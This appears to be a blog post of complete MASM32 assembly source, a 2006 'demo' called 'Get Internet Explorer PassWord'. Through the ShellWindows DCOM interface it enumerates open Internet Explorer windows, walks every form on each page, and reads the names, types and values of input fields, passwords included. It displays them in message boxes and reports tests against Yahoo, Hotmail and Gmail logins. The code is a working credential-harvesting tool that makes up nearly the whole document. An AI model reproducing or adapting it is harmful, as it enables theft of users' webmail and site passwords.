Get Internet Explorer PassWord

comment %
                #--------------------------------------#          #
              #  Get Internet Explorer PassWord-->      #       #
            #    -->use DCOM InterFace(only a Demo)       #   #
          #                      2006.06.28                 #  
            #                    codz: czy                #   #
             #------------------------------------------#      #

system :test on ie6+XPSP2
webmail:test on yahoo,hotmail,gmail...
%




.586
.model flat, stdcall
option casemap :none   ; case sensitive

include /masm32/bin/iep.inc


; #########################################################################
.const
CLSID_ShellWindows              GUID    sCLSID_ShellWindows
IID_ShellWindows                GUID    sIID_ShellWindow
IID_WB                          GUID    sIID_WB
IID_DOC                         GUID    sIID_DOC
IID_HTMLFE                      GUID    sIID_HTMLFE
IID_HTMLIPTE                    GUID    sIID_HTMLIPTE

.data
format  db 'form num:%d',0
format2 db 'elem num:%d',0
b1      dw 'N','a','m','e','=','[',0,0
b2      dw 'V','a','l','u','e','=','[',0,0
b3      dw 'T','y','p','e','=','[',0,0
b4      dw ']',' ',0,0
b5      dw ']',13,10,'T','i','t','l','e','=',0,0
mynull  dw 'N','U','L','L',0,0
errgetforms db '得到FORMS错误',0

.data?
pps             dd      ?   ;IShellWindows
ppi             dd      ?   ;IWebBrowser2
ppi2            dd      ?
ppd             dd      ?   ;IHTMLDocument2
ppd2            dd      ?
pphtmlec        dd      ?   ;IHTMLElementCollection  
ppfe            dd      ?   ;IHTMLFormElement
ppfe2           dd      ?
ppie            dd      ?   ;IHTMLInputElement
ppie2           dd      ?   ;IHTMLInputTextElement

ienum           dd      ?   
formnum         dd      ?
elemnum         dd      ?

buffer          db      512 dup (0)
height          dd      ?
ielocation      db      256 dup(?)
tit             dd      ?
pieloc          dd      ?
inputtype       dd      ?
inputvalue      dd      ?
inputname       dd      ?
szinputname     db      64 dup (?)
szinputvalue    db      64 dup (?)
szinputtype     db      64 dup (?)
szietitle       db      256 dup (?)        

.code



CheckNull   proc    szinputaddr:dword,input:dword
            invoke lstrlenW,input
            .if eax==0
            invoke lstrcpyW,szinputaddr,addr mynull
            .else
            invoke lstrcpynW,szinputaddr,input,32
            .endif

            ret
CheckNull   endp

FindIEPass  proc
            LOCAL   urlstr: DWORD
            
            
        invoke  CoInitialize, 0
        invoke  CoCreateInstance, addr CLSID_ShellWindows, NULL,CLSCTX_ALL ,
                                  addr IID_ShellWindows, addr pps
        .IF eax == S_OK               
            coinvoke pps,IShellWindow,GetCount,addr ienum              
            .while ienum>0
            dec    ienum

            mov edx,dword ptr [pps]
            mov edx,[edx]
            
            lea  eax,ppi
            push eax
            
            push 0      ;/
            push ienum  ; /_VARIANT参数
            push 0      ; /
            push 3      ;/
      
            push dword ptr [pps]
            call dword ptr [edx+20h]
           ;IShellWindow->Item,这儿返回IWebBrowser2的Dispatch指针
            
            .if eax==0
            coinvoke ppi, IDispatch, QueryInterface, ADDR IID_WB, ADDR ppi2
            ;这儿得到IWebBrowser2的接口指针
            .if eax==0
            coinvoke ppi2, IWebBrowser2,LocationURL,addr pieloc
            invoke lstrcpynW,addr ielocation,pieloc,128
            coinvoke ppi2, IWebBrowser2, Document_get, addr ppd
            ;这儿得到IHTMLDocument2的Dispatch指针
            .if eax==0
            coinvoke ppd, IDispatch, QueryInterface, ADDR IID_DOC, ADDR ppd2
            ;这儿得到IHTMLDocument2的接口指针
            .if eax==0
            mov edx,dword ptr [ppd2]
            mov edx,[edx]
            
            lea  eax,tit
            push eax      
            push dword ptr [ppd2]
            call dword ptr [edx+4*17] ;IHTMLDocument2->gettitle
            
            invoke lstrcpynW,addr szietitle,tit,128
            ;invoke   MessageBoxW,0,tit,tit,1 ;UNICODE字串
            
            mov edx,dword ptr [ppd2]
            mov edx,[edx]
            
            lea  eax,pphtmlec
            push eax      
            push dword ptr [ppd2]
            call dword ptr [edx+4*14] ;IHTMLDocument2->getforms
            .if eax == 0
            
            
            mov edx,dword ptr [pphtmlec]
            mov edx,[edx]
            
            lea  eax,formnum
            push eax      
            push dword ptr [pphtmlec]
            call dword ptr [edx+4*9] ;IHTMLElementCollection->getformcount
            
            ;invoke wsprintf,addr buffer,addr format,formnum
            ;invoke   MessageBox,0,addr buffer,addr buffer,1
            
            .while formnum>0
            dec formnum
            
            mov edx,dword ptr [pphtmlec]
            mov edx,[edx]
            
            lea  eax,ppfe
            push eax
            
            push 0      ;/
            push 0      ; /_VARIANT参数
            push 0      ; /
            push 0      ;/            
            push 0      ;/
            push formnum; /_VARIANT参数
            push 0      ; /
            push 3      ;/                  
            push dword ptr [pphtmlec]
            call dword ptr [edx+4*11];IHTMLElementCollection->item3个参数           
            ;得到IHTMLFormElement的Dispatch指针
            
            coinvoke ppfe, IDispatch, QueryInterface, ADDR IID_HTMLFE, ADDR ppfe2
            ;得到IHTMLFormElement的接口指针
            mov edx,dword ptr [ppfe2]
            mov edx,[edx]
            
            lea  eax,elemnum
            push eax                 
            push dword ptr [ppfe2]
            call dword ptr [edx+4*27] ;IHTMLFormElement->getelementlength     
            
            ;invoke wsprintf,addr buffer,addr format2,elemnum
            ;这儿可以得到FORM里面的INPUT元素个数
              ;invoke   MessageBox,0,addr buffer,addr buffer,1
            .while elemnum>0
            dec    elemnum
            
            mov edx,dword ptr [ppfe2]
            mov edx,[edx]
            
            lea  eax,ppie
            push eax
            
            push 0      ;/
            push 0      ; /_VARIANT参数
            push 0      ; /
            push 0      ;/            
            push 0      ;/
            push elemnum; /_VARIANT参数
            push 0      ; /
            push 3      ;/                  
            push dword ptr [ppfe2]
            call dword ptr [edx+4*29] ;IHTMLFormElement->item 三个参数
            ;得到IHTMLInputElement的Dispatch指针
            .if eax==0
            coinvoke ppie, IDispatch, QueryInterface, ADDR IID_HTMLIPTE, ADDR ppie2
            ;得到IHTMLInputTextElement的接口指针
            .if eax==0
            ;---GET TYPE
            ;mov edx,dword ptr [ppie2]
            ;mov edx,[edx]
            ;lea  eax,inputtype
            ;push eax                             
            ;push dword ptr [ppie2]
            ;call dword ptr [edx+4*7] ;IHTMLInputTextElement->gettype
            coinvoke ppie2,IHTMLInputTextElement,GetType,addr inputtype
            invoke CheckNull,addr szinputtype,inputtype
            
            ;---GET VALUE
            coinvoke ppie2,IHTMLInputTextElement,GetValue,addr inputvalue
            invoke CheckNull,addr szinputvalue,inputvalue
            ;---GET NAME                        
            coinvoke ppie2,IHTMLInputTextElement,GetName,addr inputname
            invoke CheckNull,addr szinputname,inputname
            
            invoke   lstrcpyW,addr buffer,addr b1
            invoke   lstrcatW,addr buffer,addr szinputname
            invoke   lstrcatW,addr buffer,addr b4
            invoke   lstrcatW,addr buffer,addr b2
            invoke   lstrcatW,addr buffer,addr szinputvalue           
            invoke   lstrcatW,addr buffer,addr b4
            invoke   lstrcatW,addr buffer,addr b3
            invoke   lstrcatW,addr buffer,addr szinputtype
            invoke   lstrcatW,addr buffer,addr b5
            invoke   lstrcatW,addr buffer,addr szietitle

            invoke   MessageBoxW,0,addr buffer,addr ielocation,1
            .endif
            .endif
            .endw
            
            .endw
            .else
            invoke   MessageBox,0,addr errgetforms,addr tit,1
            .endif
            .endif
            .endif
            .endif


            .endif              

            .endw
            coinvoke pps, IShellWindow, Release
        .ENDIF
        invoke  CoUninitialize
        
            ret
FindIEPass  endp
        
start:
        invoke  FindIEPass
        invoke  ExitProcess,0
end start 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值